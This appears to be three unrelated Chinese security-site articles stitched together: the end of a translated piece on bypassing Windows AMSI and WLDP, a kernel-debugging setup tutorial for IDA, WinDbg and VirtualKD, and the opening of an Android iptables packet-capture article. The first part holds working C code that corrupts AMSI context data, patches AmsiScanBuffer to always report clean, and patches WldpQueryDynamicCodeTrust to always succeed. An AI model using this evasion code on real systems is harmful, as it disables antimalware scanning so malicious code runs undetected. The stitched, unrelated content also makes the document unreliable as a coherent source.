// initialize to zero
ZeroMemory(ctx, sizeof(_HAMSICONTEXT));
// set the signature to "AMSI"
ctx->Signature = 0x49534D41;
// allocate memory for the appName and copy to buffer
nameLen = (lstrlen(appName) + 1) * sizeof(WCHAR);
ctx->AppName = (PWCHAR)CoTaskMemAlloc(nameLen);
if(ctx->AppName == NULL) {
hr = E_OUTOFMEMORY;
} else {
// set the app name
lstrcpy(ctx->AppName, appName);
// instantiate class factory
hr = DllGetClassObject(
CLSID_Antimalware,
IID_IClassFactory,
(LPVOID*)&clsFactory);
if(hr == S_OK) {
// instantiate Antimalware interface
hr = clsFactory->CreateInstance(
NULL,
IID_IAntimalware,
(LPVOID*)&ctx->Antimalware);
// free class factory
clsFactory->Release();
// save pointer to context
*amsiContext = ctx;
}
}
// if anything failed, free context
if(hr != S_OK) {
AmsiFreeContext(ctx);
}
return hr;
}
其中，HAMSICONTEXT结构的内存空间是在堆上分配的，并使用appName、AMSI签名（0x49534D41）和[IAntimalware](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nn-amsi-iantimalware "IAntimalware")接口进行初始化处理。
## AMSI扫描
通过下面的代码，我们可以大致了解调用函数时会执行哪些操作。如果扫描成功，则返回的结果将为S_OK，并且应检查[AMSI_RESULT](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/ne-amsi-amsi_result
"AMSI_RESULT")，以确定缓冲区是否包含有害的软件。
HRESULT _AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result)
{
_HAMSICONTEXT *ctx = (_HAMSICONTEXT*)amsiContext;
// validate arguments
if(buffer == NULL ||
length == 0 ||
amsiResult == NULL ||
ctx == NULL ||
ctx->Signature != 0x49534D41 ||
ctx->AppName == NULL ||
ctx->Antimalware == NULL)
{
return E_INVALIDARG;
}
// scan buffer
return ctx->Antimalware->Scan(
ctx->Antimalware, // rcx = this
&CAmsiBufferStream, // rdx = IAmsiBufferStream interface
amsiResult, // r8 = AMSI_RESULT
NULL, // r9 = IAntimalwareProvider
amsiContext, // HAMSICONTEXT
CAmsiBufferStream,
buffer,
length,
contentName,
amsiSession);
}
请注意这里是如何对参数进行验证的。这是强制AmsiScanBuffer运行失败并返回E_INVALIDARG的众多方法之一。
## AMSI的CLR实现
CLR使用一个名为AmsiScan的私有函数来检测通过Load方法传递的有害软件。以下代码演示了CLR是如何实现AMSI的。
AmsiScanBuffer_t _AmsiScanBuffer;
AmsiInitialize_t _AmsiInitialize;
HAMSICONTEXT *g_amsiContext;
VOID AmsiScan(PVOID buffer, ULONG length) {
HMODULE amsi;
HAMSICONTEXT *ctx;
HAMSI_RESULT amsiResult;
HRESULT hr;
// if global context not initialized
if(g_amsiContext == NULL) {
// load AMSI.dll
amsi = LoadLibraryEx(
L"amsi.dll",
NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32);
if(amsi != NULL) {
// resolve address of init function
_AmsiInitialize =
(AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");
// resolve address of scanning function
_AmsiScanBuffer =
(AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");
// failed to resolve either? exit scan
if(_AmsiInitialize == NULL ||
_AmsiScanBuffer == NULL) return;
hr = _AmsiInitialize(L"DotNet", &ctx);
if(hr == S_OK) {
// update global variable
g_amsiContext = ctx;
}
}
}
if(g_amsiContext != NULL) {
// scan buffer
hr = _AmsiScanBuffer(
g_amsiContext,
buffer,
length,
0,
0,
&amsiResult);
if(hr == S_OK) {
// if malware was detected or it's blocked by admin
if(AmsiResultIsMalware(amsiResult) ||
AmsiResultIsBlockedByAdmin(amsiResult))
{
// "Operation did not complete successfully because "
// "the file contains a virus or potentially unwanted"
// software.
GetHRMsg(ERROR_VIRUS_INFECTED, &error_string, 0);
ThrowHR(COR_E_BADIMAGEFORMAT, &error_string);
}
}
}
}
我们看到，CLR使用了一个名为g_amsiContext的全局变量，该变量指向AmsiInitialize在首次使用AmsiScan时创建的AMSI上下文。这里需要注意的是，如果AMSI的上下文被破坏，AmsiScan并不会抛出任何错误。如果AmsiScanBuffer返回S_OK，则只会检查amsiResult。使用COR_E_BADIMAGEFORMAT和ERROR_VIRUS_INFECTED来调用ThrowHR时，即使缓冲区确实包含有害代码，也会将其视为次要错误。但是，如果将格式错误的上下文传递给AmsiScanBuffer的话，它将返回E_INVALIDARG，并且永远不会检查缓冲区的内容。此外，AmsiScan并不关心AmsiScanBuffer失败的原因。但是，真正需要重点考察的应该是，“既然系统支持AMSI并且检测失败了，那么失败的原因到底是什么呢？”。
## 第一种绕过AMSI机制的方法（篡改数据）
Matt
Graeber提供了一个PoC，它能够破坏CLR!g_amsiContext所指向的上下文数据，从而导致AmsiScanBuffer返回E_INVALIDARG。从CLR的实现代码可以看出，这种绕过方法是有效的，因为CLR!AmsiScan的结果永远不会是验证成功或失败。相反，它只会抛出一个错误，并在尝试加载有害软件时终止宿主应用程序。但是，托管.NET程序集的非托管应用程序可能会处理任何C++异常。Windows
Defender仍会记录有害代码的检测结果，但非托管宿主应用程序在某些情况下会继续运行。要通过g_amsiContext禁用AMSI，可以搜索PEB.ProcessHeap指向的堆内存，也可以搜索.data段的虚拟地址空间，并查找其中的每个指针。下面的代码演示的是后一种方法。只有CLR调用AmsiScan之后，这种方法才能奏效。
BOOL DisableAMSI(VOID) {
LPVOID hCLR;
BOOL disabled = FALSE;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_SECTION_HEADER sh;
DWORD i, j, res;
PBYTE ds;
MEMORY_BASIC_INFORMATION mbi;
_PHAMSICONTEXT ctx;
hCLR = GetModuleHandleA("CLR");
if(hCLR != NULL) {
dos = (PIMAGE_DOS_HEADER)hCLR;
nt = RVA2VA(PIMAGE_NT_HEADERS, hCLR, dos->e_lfanew);
sh = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader +
nt->FileHeader.SizeOfOptionalHeader);
// scan all writeable segments while disabled == FALSE
for(i = 0;
i < nt->FileHeader.NumberOfSections && !disabled;
i++)
{
// if this section is writeable, assume it's data
if (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
// scan section for pointers to the heap
ds = RVA2VA (PBYTE, hCLR, sh[i].VirtualAddress);
for(j = 0;
j < sh[i].Misc.VirtualSize - sizeof(ULONG_PTR);
j += sizeof(ULONG_PTR))
{
// get pointer
ULONG_PTR ptr = *(ULONG_PTR*)&ds[j];
// query if the pointer
res = VirtualQuery((LPVOID)ptr, &mbi, sizeof(mbi));
if(res != sizeof(mbi)) continue;
// if it's a pointer to heap or stack
if ((mbi.State == MEM_COMMIT ) &&
(mbi.Type == MEM_PRIVATE ) &&
(mbi.Protect == PAGE_READWRITE))
{
ctx = (_PHAMSICONTEXT)ptr;
// check if it contains the signature
if(ctx->Signature == 0x49534D41) {
// corrupt it
ctx->Signature++;
disabled = TRUE;
break;
}
}
}
}
}
}
return disabled;
}
## 第二种绕过AMSI机制的方法（代码补丁方法1）
CyberArk建议使用2条指令，即xor edi，edi，nop来修改AmsiScanBuffer。如果要hook该函数的话，可以借助Length
Disassembler
Engine（LDE）来计算在跳转到备用函数进行覆盖之前要保存的prolog字节的正确数量。由于传递给该函数的AMSI上下文已经过验证，并且其中一个测试要求签名为“AMSI”，因此，您可以找到该立即值，并将其更改为其他值。在下面的示例中，我们将通过代码来破坏相应的签名，而不是像Matt
Graeber那样使用上下文/数据来破坏相应的签名。
BOOL DisableAMSI(VOID) {
HMODULE dll;
PBYTE cs;
DWORD i, op, t;
BOOL disabled = FALSE;
_PHAMSICONTEXT ctx;
// load AMSI library
dll = LoadLibraryExA(
"amsi", NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32);
if(dll == NULL) {
return FALSE;
}
// resolve address of function to patch
cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer");
// scan for signature
for(i=0;;i++) {
ctx = (_PHAMSICONTEXT)&cs[i];
// is it "AMSI"?
if(ctx->Signature == 0x49534D41) {
// set page protection for write access
VirtualProtect(cs, sizeof(ULONG_PTR),
PAGE_EXECUTE_READWRITE, &op);
// change signature
ctx->Signature++;
// set page back to original protection
VirtualProtect(cs, sizeof(ULONG_PTR), op, &t);
disabled = TRUE;
break;
}
}
return disabled;
}
## 第三种绕过AMSI机制的方法（代码补丁方法2）
Tal
Liberman建议覆盖AmsiScanBuffer的prolog字节，以便使其返回1。下面的代码也会对该函数执行覆盖操作，以使其在CLR扫描每个缓冲区时都返回AMSI_RESULT_CLEAN和S_OK。
// fake function that always returns S_OK and AMSI_RESULT_CLEAN
static HRESULT AmsiScanBufferStub(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result)
{
*result = AMSI_RESULT_CLEAN;
return S_OK;
}
static VOID AmsiScanBufferStubEnd(VOID) {}
BOOL DisableAMSI(VOID) {
BOOL disabled = FALSE;
HMODULE amsi;
DWORD len, op, t;
LPVOID cs;
// load amsi
amsi = LoadLibrary("amsi");
if(amsi != NULL) {
// resolve address of function to patch
cs = GetProcAddress(amsi, "AmsiScanBuffer");
if(cs != NULL) {
// calculate length of stub
len = (ULONG_PTR)AmsiScanBufferStubEnd - (ULONG_PTR)AmsiScanBufferStub;
// make the memory writeable
if(VirtualProtect(
cs, len, PAGE_EXECUTE_READWRITE, &op))
{
// over write with code stub
memcpy(cs, &AmsiScanBufferStub, len);
disabled = TRUE;
// set back to original protection
VirtualProtect(cs, len, op, &t);
}
}
}
return disabled;
}
应用补丁后，我们发现有害软件也会被标记为安全的软件。
## 使用C语言编写的WLDP示例
以下函数演示了如何使用Windows Lockdown Policy来检测内存中动态代码的可信任状况。
BOOL VerifyCodeTrust(const char *path) {
WldpQueryDynamicCodeTrust_t _WldpQueryDynamicCodeTrust;
HMODULE wldp;
HANDLE file, map, mem;
HRESULT hr = -1;
DWORD low, high;
// load wldp
wldp = LoadLibrary("wldp");
_WldpQueryDynamicCodeTrust =
(WldpQueryDynamicCodeTrust_t)
GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
// return FALSE on failure
if(_WldpQueryDynamicCodeTrust == NULL) {
printf("Unable to resolve address for WLDP.dll!WldpQueryDynamicCodeTrust.\n");
return FALSE;
}
// open file reading
file = CreateFile(
path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if(file != INVALID_HANDLE_VALUE) {
// get size
low = GetFileSize(file, &high);
if(low != 0) {
// create mapping
map = CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, 0);
if(map != NULL) {
// get pointer to memory
mem = MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0);
if(mem != NULL) {
// verify signature
hr = _WldpQueryDynamicCodeTrust(0, mem, low);
UnmapViewOfFile(mem);
}
CloseHandle(map);
}
}
CloseHandle(file);
}
return hr == S_OK;
}
## 绕过WLDP机制的方法（代码补丁方法1）
通过对该函数执行覆盖操作，使其始终返回S_OK。
// fake function that always returns S_OK
static HRESULT WINAPI WldpQueryDynamicCodeTrustStub(
HANDLE fileHandle,
PVOID baseImage,
ULONG ImageSize)
{
return S_OK;
}
static VOID WldpQueryDynamicCodeTrustStubEnd(VOID) {}
static BOOL PatchWldp(VOID) {
BOOL patched = FALSE;
HMODULE wldp;
DWORD len, op, t;
LPVOID cs;
// load wldp
wldp = LoadLibrary("wldp");
if(wldp != NULL) {
// resolve address of function to patch
cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
if(cs != NULL) {
// calculate length of stub
len = (ULONG_PTR)WldpQueryDynamicCodeTrustStubEnd - (ULONG_PTR)WldpQueryDynamicCodeTrustStub;
// make the memory writeable
if(VirtualProtect(
cs, len, PAGE_EXECUTE_READWRITE, &op))
{
// over write with stub
memcpy(cs, &WldpQueryDynamicCodeTrustStub, len);
patched = TRUE;
// set back to original protection
VirtualProtect(cs, len, op, &t);
}
}
}
return patched;
}
虽然本文描述的方法很容易被检测到，但是它们对于Windows
10系统上最新版本的DotNet框架而言，仍然是有效的。实际上，只要攻击者能够篡改AMSI用来检测有害代码的数据或代码，就总能找到绕过这些安全机制的方法。
## 参考文献
* [Bypassing Amsi using PowerShell 5 DLL Hijacking](http://cn33liz.blogspot.com/2016/05/bypassing-amsi-using-powershell-5-dll.html "Bypassing Amsi using PowerShell 5 DLL Hijacking by Cneelis")
* [Bypassing AMSI via COM Server Hijacking](https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ "Bypassing AMSI via COM Server Hijacking")
* [Bypassing Device Guard with .NET Assembly Compilation Methods](http://www.exploit-monday.com/2017/07/bypassing-device-guard-with-dotnet-methods.html "Bypassing Device Guard with .NET Assembly Compilation Methods")
* [AMSI Bypass With a Null Character](http://standa-note.blogspot.com/2018/02/amsi-bypass-with-null-character.html "AMSI Bypass With a Null Character")
* [AMSI Bypass: Patching Technique](https://www.cyberark.com/threat-research-blog/amsi-bypass-patching-technique/ "AMSI Bypass: Patching Technique")
* [The Rise and Fall of AMSI](https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf "The Rise and Fall of AMSI")
* [AMSI Bypass Redux](https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/ "AMSI Bypass Redux")
* [Exploring PowerShell AMSI and Logging Evasion](https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ "Exploring PowerShell AMSI and Logging Evasion")
* [Disabling AMSI in JScript with One Simple Trick](https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html "Disabling AMSI in JScript with One Simple Trick")
* [Documenting and Attacking a Windows Defender Application Control Feature the Hard Way – A Case Study in Security Research Methodology](https://posts.specterops.io/documenting-and-attacking-a-windows-defender-application-control-feature-the-hard-way-a-case-73dd1e11be3a "Documenting and Attacking a Windows Defender Application Control Feature the Hard Way – A Case Study in Security Research Methodology")
* [How to bypass AMSI and execute ANY malicious Powershell code](https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html "How to bypass AMSI and execute ANY malicious Powershell code")
* AmsiScanBuffer Bypass [Part 1](https://rastamouse.me/2018/10/amsiscanbuffer-bypass-part-1/ "Part 1"), [Part 2](https://rastamouse.me/2018/10/amsiscanbuffer-bypass-part-2/ "Part 2"),[ Part 3](https://rastamouse.me/2018/11/amsiscanbuffer-bypass-part-3/ " Part 3"), [Part 4](https://rastamouse.me/2018/12/amsiscanbuffer-bypass-part-4/ "Part 4")
* [PoC function to corrupt the g_amsiContext global variable in clr.dll](https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/ "PoC function to corrupt the g_amsiContext global variable in clr.dll")
* [Bypassing AMSI for VBA](https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/ "Bypassing AMSI for VBA") | 社区文章 |
# 【技术分享】内核调试入门教程
|
##### 译文声明
本文是翻译文章，文章来源：vvalien1.wordpress.com
原文地址：<https://vvalien1.wordpress.com/2016/12/26/kernel-debugging-101/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：260RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**前言**
对于内核调试来说，无论是环境的搭设，还是调试工作本身都是相当困难的——从前我就是这么认为的，但是事实证明，实际上它比我们想象的要更容易一些。
**需要准备的软件**
**IDAPro 6.8+**
在本文中，我们将使用IDA作为我们的调试器。
**VisualStudio 2015 + Windows10 SDK + WDK (Windows Driver Kit)**
当我们需要编译一些东西的时候，它们会变得非常有用。
**WinDBG for Win7**
当我们在一些较旧的系统上面进行调试时，如果使用了较新的windbg的话，就会遇到一个小问题，主要是无法正确显示寄存器。所以，如果你打算使用Win7
VM，那么可以安装这个软件。
<http://msdl.microsoft.com/download/symbols/debuggers/dbg_x86_6.11.1.404.msi>
**Symbols文件**
由于我的网速较慢，所以就从这里一次性下载好了所需的symbols文件，并将它们安装到了C:Symbols目录下面。
<https://developer.microsoft.com/en-us/windows/hardware/download-symbols>
符号文件有两种,一种是Checked Build或Debug Build,另外一种是Retail Symbols。至于两者之间的区别，请参考下面的文章：
[whats-the-difference-between-retail-symbols-and-checked-symbols](http://stackoverflow.com/questions/5775893/)
**安装和配置**
**Symbol路径**
在开始之前，首先需要设置相应的符号路径。Windbg将根据这个路径来查找符号。确保你已经设置好了CSymbols目录。
_NT_SYMBOL_PATH = srv*C:Symbols*http://msdl.microsoft.com/download/symbols
**修改windbb的ida配置**
现在，我们需要修改位于“C： Program Files（x86） IDA 6.8
cfg”中的ida.cfg文件。找到与DBGTOOLS有关的行，该注释掉的全部注释掉（特别提醒：即使你要调试x64内核代码，也要使用x86路径！）。
Win7
DBGTOOLS = “C:\Program Files\Debugging Tools for Windows (x86)\”;
Win8+
DBGTOOLS = “C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\”;
**它工作吗？**
好了，现在进行一个简单的测试，以检查系统能否一切正常工作。这里，我们将使用Windows10 x64 VM进行测试，因为它比较易于设置。
**修改bcdedit 设置以便进行网络调试**
以管理员身份执行下列命令，并将相关参数记录下来，因为后面会用到。
bcdedit.exe /debug on
bcdedit.exe /dbgsettings NET HOSTIP:192.168.1.101 PORT:50000
**加载windbg并连接到内核**
现在加载windbg，然后选择File- > >Kernel Debug（ctrl + k）选项，并输入相应的参数。现在，可以通过暂停命令将虚拟机挂起。
**加载驱动程序的符号文件**
在给所有已经加载的驱动程序强制载入驱动程序符号的时候，请务必注意内核和用户模式之间的区别
.reload /f
**转换为用户模式**
.process /i [addy_of_user_proc]
g
.reload /f /user
**转换为内核模式**
.process /i [addy_of_kernel_proc]
g
.reload /f
**
**
**检查IDA是否可以进行内核调试**
现在，我们必须确保IDA的设置正确，确保windbg已经关闭，然后重新启动VM。现在以管理员身份打开IDAx64，然后进入Debugger->
Attach-> Widbg Debugger（警告：如果你没有设置dbgtools选项，就会出现连接错误消息）选项下面。
Win8+
net:port=50000,key=YOUR.KEY.GOES.HERE
Win7
com:port=\.pipemypipe,pipe,reconnect
我的设置如下所示。
如果已经能够工作的话，你可能会得到这样的错误消息。
一旦加载完毕，就会看到类似下面的内容…
这说明设置成功了！
**接下来应该干啥？**
现在，我们已经可以做很多事情了，不过我建议你最好通读本系列的文章。或者，首先仔细学习下面的文章。
Debug Universal Drivers – Step by Step Lab (Echo Kernel-Mode) https://msdn.microsoft.com/en-us/library/windows/hardware/mt269367(v=vs.85).aspx
此外，你也可以跟随@TheColonial学习利用capcom.sys的漏洞
Hackingz Ze Komputerz – Exploiting CAPCOM.SYS https://www.youtube.com/watch?v=pJZjWXxUEl4
除此之外，只要你愿意，也可以自己随便鼓捣一番，有时候这样也能学到很多东西。
**VirtualKD与Windows7**
相对于Windows 10而言，在Windows
7上进行内核调试要更容易一些，但问题在于，Win7不支持网络连接，所以必须设置管道。此外，它的速度也慢得吓人，为了解决这个问题可以安装virtualKD，但效果也不是非常理想。所以，下面我们假设你在windows10
x64上面进行调试工作，我们的调试目标是Windows7（32位）系统。
**一款免费的Microsoft VM**
<https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/>
是的，这是来自微软的免费VM，经实验效果不错。我们使用的虚拟机镜像是IE11 on
Win7，虽然微软没有直接说明，但它实际上是x86版本。在下载安装好虚拟机之后，下面我们开始介绍VirtualKD。
**安装VirtualKD**
下面我们要做的是安装virtualKD，虽然它的安装程序存在一个问题，但是我们可以通过VisualStudio编译自己的版本来解决这个难题。
我们只需要重新编译VirtualBoxIntegration目录下面的代码。
<https://github.com/sysprogs/VirtualKD>
然后，可以通过下面的地址下载这个安装程序的其他部分：
<http://virtualkd.sysprogs.org/download/>
接下来，将下载的VirtualBoxIntegration.exe程序替换为刚才自己编译的那个。
然后，安装程序的其余部分不必改动，只需按照下面的说明进行操作即可完成安装工作。
<http://virtualkd.sysprogs.org/tutorials/install>
(YOU DONT NEED THE （你不需要使用vmpatch.exe） )
现在启动VM，然后以管理员身份运行vmmon64.exe，并让它一直处于运行状态。之后，选中调试器路径，并单击（运行调试器）。
在你开始之前，务必记住使用新版本的windbg时，无法对老版本的VM进行调试。本文使用的版本的下载地址为：
<http://msdl.microsoft.com/download/symbols/debuggers/dbg_x86_6.11.1.404.msi>
该软件的安装目录为：
C:Program FilesDebugging Tools for Windows (x86)
**IDA与 VirtualKD**
现在，如果你加载IDA，并为windbg输入正确的路径，那么只需要输入下列命令就能让IDA工作了：
com:port=\.pipekd_IE11_-_Win7,pipe,reconnect
**IDA主题**
**加载您的主题**
要想加载自己的主题，其实不是什么难事。首先提供一个主题文件，然后依次选择Options->Colors->Import选项即可。
<https://github.com/eugeii/ida-consonance>
我对我的主题进行了一些小的改动，因为我不喜欢原来的颜色。你可以从这里下载它。
<http://pastebin.com/hyM5P0ZN>
**载入皮肤插件**
将IDASkins.plX放入IDA安装目录下的plugins目录中。
C:Program Files (x86)IDA 6.8plugins
然后将skin目录复制到IDA安装根目录下面。
C:Program Files (x86)IDA 6.8
<https://github.com/zyantific/IDASkins>
**加载HexRaysCodeXplorer**
HexRaysCodeXplorer的确能提高伪代码的生成质量（F5），下载地址：
<https://github.com/REhints/HexRaysCodeXplorer>
通过下面的地址下载HexRaysCodeXplorer.p64 / HexRaysCodeXplorer.plw，然后将它们放入plugins文件夹即可。
C:Program Files (x86)IDA 6.8plugins
**让windbg和IDA双剑合璧**
一般来说，所有的调试工作基本上归结为静态和动态分析。
对于IDA来说，它可以将一个二进制文件与符号文件进行比较，同时还可以所有函数进行命名。除此之外，你还可以通过tilib.exe给参数进行命名，但是在进行内核调试的时候却无法这样做。
不过，我们可以通过联合使用windbg和IDA来解决这个问题，为此，我们需要用到ret-sync插件，其下载地址为：
<https://github.com/bootleg/ret-sync>
**为windbg编译.dll文件**
您将需要复制repo，并从下面位置将.sln加载到Visual Studio中
ret-syncext_windbgsyncsync.sln
现在选择ReleaseWin32选项，并右键单击解决方案，选择构建，这样就会在Release文件夹中生成一个sync.dll文件。
**将插件/.dll安装到windbg**
现在，我们只需要将sync.dll复制到winext文件夹即可：
C:Program Files (x86)Windows Kits10Debuggersx86winext
或者，如果您使用的是旧版本的话，可以使用下列文件夹。
C:Program Files (x86)Debugging Tools for Windows (x86)winext
**为IDA安装插件**
现在，我们还需要将文件夹ext_ida从repo复制到我们的IDA的plugins目录中：
C:Program Files (x86)IDA 6.8plugins
**[警告]如果当前运行的是IDA 6.8的话，那么需要修改相应的python插件后才能正常工作！**
从IDA 6.9开始，它的插件需要用到PyQt5。IDA
6.8（我使用的版本）使用的是PySide，这就是一些较新的脚本无法运行的原因。这对我们来说不是一个大问题，只需执行下面的操作就可以了。
删除下面的文件
C:Program Files (x86)IDA 6.8pluginsext_idaext_idaSyncPlugin.py
用下面这个进行替换：
C:Program Files (x86)IDA 6.8pluginsext_idacompat_pysideSyncPlugin.py
具体哪些地方发生了变化，请参考这里。
**在ida中打开驱动程序**
以正常方式在IDA中加载驱动程序文件。
**加载ret-sync插件**
通过File- >script file菜单项，找到下列插件
C:Program Files (x86)IDA 6.8pluginsext_idaSyncPlugin.py
一旦加载，您应该在输出窗口中看到结果，端口会随之改变，同时还会弹出一个ret-sync窗口。
[*] << broker << dispatcher not found, trying to run it
[*] << broker << dispatcher now runs with pid: 3132
[*] << broker << connected to dispatcher
[*] << broker << listening on port 50370
**将windbg设为内核调试模式**
具体做法跟之前的一样，并确保被加载的模块（lm）在目标驱动程序的函数中设置了相应的BP
bp smb!SmbOpenTcpConnection
g
现在，虚拟机中的函数一旦被击中，windbg就会中断：
[PIC]
**载入windbg插件**
kd> .load sync
kd> !sync
[sync] No argument found, using default host (127.0.0.1:9100)
[sync] sync success, sock 0x9c8
[sync] probing sync
[sync] sync is now enabled with host 127.0.0.1
#帮助信息
!synchelp
加载IDA（连同驱动程序），然后以内核调试器方式加载windbg，在目标驱动程序上设置BP。在IDA中加载python脚本，当BP击中时，会启动一个“windbg”窗口。
如果让windbg运行在wine中并且在linux中使用ida的话，这个插件也应该能够正常工作。
如果你加载IDA并且将它作为内核调试器连接的话，也不会有问题，因为它将运行windbg。所以，你可以将两个IDA链接在一起，来处理你的二进制文件。
**在脚本中，修改下面这一行的值，就能够改变主题的颜色**
COL_CURLINE = 0x800000
**小结**
在本文中，我首先介绍了内核调试环境的搭建，然后讲解了主题的修改，以及一些非常有用的插件，最后讨论了联合使用windbg和IDA的方法。
最后，祝您阅读愉快！ | 社区文章 |
**作者: evilpan
原文链接: <https://evilpan.com/2023/01/30/android-iptables/>**
本文介绍一种在 Andorid 中实现单应用、全局、优雅的抓包方法。
> 此文于去年端午节编写，由于种种原因，当时藏拙并未发布。现删除一些敏感信息后分享出来，希望对各位有所启发。
## 背景
昨天在测试一个 Android APK 的时候发现使用 WiFi 的 HTTP 代理无法抓到包，在代理的日志中没有发现任何 SSL
Alert，因此可以判断不是证书问题；另外 APP 本身仍可以正常收发数据，这说明代理设置被应用绕过了。
根据我们前一篇文章([终端应用安全之网络流量分析](https://mp.weixin.qq.com/s/0-Z-ty9EkWKQl8b1n-8W1w))中所介绍的，遇到这种情况时就可以使用路由抓包方法，确保接管所有流量。但是因为端午放假被封印在家，且用于抓包的树莓派放在了公司，因此只有另谋他路。
本来接着考虑装个 DroidProxy 去试一下，但突然间灵光一闪，为什么不直接用 iptables 去修改流量呢？于是，就有了这篇小记。
## iptables 101
`iptables` 应该大家都不会陌生，说起来这也是我入门 “黑客” 时就接触的命令，因为我的网络安全入门第一战就是使用 `aircrack`
去破解邻居的 WiFi 密码。多年以前还写过一篇[Linux内核转发技术](https://evilpan.com/2016/04/04/linux-kernel-forwarding/)，介绍 iptables 的常用操作，但当时年幼无知，很多概念自己并没有完全理解。其实介绍 iptables
最好的资料就是官方的 [man-pages](https://man7.org/linux/man-pages/man8/iptables.8.html)，因此这里也就不做一个无情的翻译机器人了，只简单介绍一些关键的概念。
### basic
首先是我们作为系统管理员最为关心的命令行参数，在坊间流传的各类防火墙、WiFi 热点、流控 shell 脚本中，充斥着各种混乱而难以理解的 iptables
命令，但实际上其命令行参数非常优雅，可以概况为以下表述:
iptables [-t table] {-A|-C|-D} chain rule-specification
rule-specification = [matches...] [target]
match = -m matchname [per-match-options]
target = -j targetname [per-target-options]
一个 table 中有多个 chain，除了内置的 chain，用户也可以自己新建(比如 DOCKER 链)。常用的 table 及其包含的 chain
有以下这些:
* filter
* INPUT
* FORWARD
* OUTPUT
* nat
* PREROUTING
* INPUT
* OUTPUT
* POSTROUTING
* mangle
* PREROUTING
* OUTPUT
* INPUT
* FORWARD
* POSTROUTING
* raw
* PREROUTING
* OUTPUT
其中有的表比其他表包含更多的 chain，这是其定位决定的。正如其名字而言， **filter** 主要用于流量过滤， **nat**
表主要用于网络地址转换， **mangle** 表用于数据包修改，而 **raw** 表则用于网络包更早期的配置。除此之外还有 **security**
表用于权限控制，不过用得不多。
虽然看起来各个表各司其职，但实际中也没有强制的差异。比如 mangle 表虽然用来修改流量，但也可以用来做网络地址转换，filter
表也是同理。在日常中设置 iptables 规则的时候主要考虑的是数据包的时序，而这和 chain 的关系更大一些。
上面提到的这些常见 chain，不管在哪个表中，其含义都是类似的:
* INPUT: 表示数据包从远端发送到本地；
* OUTPUT: 表示数据包在本地生成，并准备发送到远端；
* PREROUTING: 接收到数据包的第一时间，在内核进行路由之前；
* POSTROUTNG: 表示数据包准备离开的前一刻；
* FOWARD: 本机作为路由时正要准备转发的时刻；
table 结合对应的 chain，网络数据包在 iptables 中的移动路径如下图所示:
### extensions
对于 `iptables` 而言重点无疑是其中的规则定义，上文提到的参数无非就是将自定义的规则加入到对应 CHAIN 之中，比如 `-A`
是将规则插入到链的末尾(append)，`-I` 是插入到链的头部(insert)，`-D` 是删除对应规则(delete)，等等。
而规则又分为两个部分，即数据包匹配以及匹配之后的操作，分别通过 `-m` 和 `-j`
来指定。这其中就引入了成百的命令行参数，以至于社区还就此产生了不少段子:
Overheard: “In any team you need a tank, a healer, a damage dealer, someone with crowd control abilities and another one who knows iptables”
— Jérome Petazzoni (@jpetazzo) June 27, 2015
不过实际上社区对 iptables 的抱怨更多是在多用户系统中规则配置冲突以及由此引发的艰难调试之旅，在没有冲突的情况下，配置规则也是比较简单的。定义
iptables 规则的参考主要是 [iptables-extensions(8)](https://man7.org/linux/man-pages/man8/iptables-extensions.8.html)，其中定义了一系列 **匹配拓展(MATCH EXTENSIONS)** 以及
**目标拓展(TARGET EXTENSIONS)** 。
#### match
先看匹配拓展，一般我们使用 iptables 都是根据 ip 或者端口进行匹配，比如 `-m tcp --dport
22`。但其中也有一些比较有趣的匹配规则，比如上一篇文章中介绍过的 Android 单应用抓包方法:
$ iptables -A OUTPUT -m owner --uid-owner 1000 -j CONNMARK --set-mark 1
$ iptables -A INPUT -m connmark --mark 1 -j NFLOG --nflog-group 30
$ iptables -A OUTPUT -m connmark --mark 1 -j NFLOG --nflog-group 30
$ dumpcap -i nflog:30 -w uid-1000.pcap
用到了两个匹配拓展，一个是 `owner` 拓展，使用 `--uid-owner` 参数表示创建当前数据包的应用
UID。但是这样只能抓到外发的包，而服务器返回的包由于并不是本地进程创建的，因此没有对应的 UID 信息，因此 owner 拓展只能应用于 `OUTPUT`
或者 `POSTROUTING` 链上。为了解决这个问题，上面使用了另一个拓展 `connmark`，用来匹配 tcp
连接的标志，这个标志是在第一条命令中的外发数据中进行设置的。
